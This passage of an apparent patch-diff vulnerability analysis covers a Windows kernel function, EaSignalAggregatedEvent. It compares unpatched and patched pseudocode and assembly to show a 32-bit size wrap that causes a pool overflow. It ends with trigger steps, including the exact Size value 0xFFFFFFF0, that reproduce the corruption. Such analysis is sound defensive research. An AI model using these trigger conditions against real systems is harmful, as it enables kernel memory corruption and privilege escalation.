&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;nfields&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x800000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1000000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// bit23 + bit24&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// minimum header&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nfields&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;nfields&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// optional 16-byte fields must fit&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3FFC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;nfields&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// payload region must fit&lt;/span&gt;
&lt;span class="c1"&gt;// forwards (buffer+8 or NULL), count, flags to EaiProcessNotification (bounds-checked)&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED (via EapSignalMessageReadFromBuffer (sub_140008A98)) ===&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_BUFFER_TOO_SMALL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// *a4 = 16&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000090B&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// *a4 = 32&lt;/span&gt;
&lt;span class="n"&gt;fieldbytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1000000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x800000&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x2000000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// NEW: bit25 field added here&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fieldbytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INVALID_BUFFER_SIZE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// *a4 = 48&lt;/span&gt;
&lt;span class="c1"&gt;// returns bounds-checked {ptr, count, flags} struct&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; (Unpatched, real instructions)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; EaSignalAggregatedEvent @ 0x1C00034B0&lt;/span&gt;
&lt;span class="c1"&gt;; Size is loaded as a 32-bit dword, so only its low 32 bits participate.&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0003545&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;3Fh&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; r15 = (32-bit) Size, zero-extended&lt;/span&gt;
&lt;span class="c1"&gt;; ... optional-field presence computed into ecx / ebx as 0 or 0x10 ...&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00035DB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; eax = Size + (field1 ? 0x10 : 0)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00035DF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; ebx = + (field2 ? 0x10 : 0)  -- 32-bit, NO OVERFLOW CHECK&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00035E1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;loc_1C000364A&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; skip alloc only if wrapped result == 0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00035E3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; NumberOfBytes = truncated 32-bit size&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00035E5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;; PoolType = PagedPool&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00035EA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;41747645h&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; Tag = &amp;#39;EtvA&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00035F0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; allocates the wrapped (tiny) buffer&lt;/span&gt;
&lt;span class="c1"&gt;; ... optional 16-byte fields copied via movups ...&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0003642&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; Size = low 32 bits of caller Size (~0xFFFFFFF0 max)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0003645&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; copies far past the tiny allocation&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;EapSignalContentPrepareEventForPublishing (sub_140008B90)&lt;/code&gt; (Patched Overflow Check)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; @ 0x140008B90 - r8/[rsi+20h] = variable_length, edi = base size&lt;/span&gt;
&lt;span class="err"&gt;0000000140008&lt;/span&gt;&lt;span class="nf"&gt;C0A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; total = base + variable_length (32-bit)&lt;/span&gt;
&lt;span class="err"&gt;0000000140008&lt;/span&gt;&lt;span class="nf"&gt;C0E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; compare total vs base&lt;/span&gt;
&lt;span class="err"&gt;0000000140008&lt;/span&gt;&lt;span class="nf"&gt;C10&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;loc_140008C26&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; if wrapped (total &amp;lt; base) -&amp;gt; overflow&lt;/span&gt;
&lt;span class="err"&gt;0000000140008&lt;/span&gt;&lt;span class="nf"&gt;C12&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; else keep total&lt;/span&gt;
&lt;span class="c1"&gt;; ...&lt;/span&gt;
&lt;span class="err"&gt;0000000140008&lt;/span&gt;&lt;span class="nf"&gt;C26&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0C0000095h&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; STATUS_INTEGER_OVERFLOW&lt;/span&gt;
&lt;span class="err"&gt;0000000140008&lt;/span&gt;&lt;span class="nf"&gt;C2B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;loc_140008CDB&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; return&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;WnfEventCallback&lt;/code&gt; optional-field bounds check already present (Unpatched)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; WnfEventCallback @ 0x1C00018C8 - the unpatched build already validates the fields it parses&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00019F6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; edx = (bit23!=0)+(bit24!=0)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00019F8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;loc_1C0001A33&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; no optional fields -&amp;gt; skip&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00019FA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;shl&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;; rdx = 16 * nfields&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00019FE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; rcx = 16*nfields + 8&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001A02&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nb"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; r9 = buffer size a5&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001A05&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;loc_1C0001A14&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; require a5 &amp;gt;= 16*nfields + 8, else error 0x14&lt;/span&gt;
&lt;span class="c1"&gt;; ... further: cmp r9, count+8 @ 0x1C0001A41 (require a5 &amp;gt;= count + 8) ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Trigger 1: &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt; Pool Overflow&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Obtain a handle or execution context capable of invoking the exported kernel API &lt;code&gt;EaSignalAggregatedEvent&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Prepare the arguments to trigger the arithmetic wrap. Pass non-NULL pointers for the two optional 16-byte fields (&lt;code&gt;a5&lt;/code&gt; and &lt;code&gt;a6&lt;/code&gt;), adding &lt;code&gt;0x20&lt;/code&gt; to the allocation size.&lt;/li&gt;
&lt;li&gt;Set the &lt;code&gt;Size&lt;/code&gt; parameter so its low 32 bits are &lt;code&gt;0xFFFFFFF0&lt;/code&gt;. The 32-bit allocation arithmetic &lt;code&gt;0xFFFFFFF0 + 0x20&lt;/code&gt; wraps to a tiny nonzero size (&lt;code&gt;0x10&lt;/code&gt;), while the copy uses &lt;code&gt;(unsigned int)Size&lt;/code&gt; = &lt;code&gt;0xFFFFFFF0&lt;/code&gt;.&lt;/li&gt;
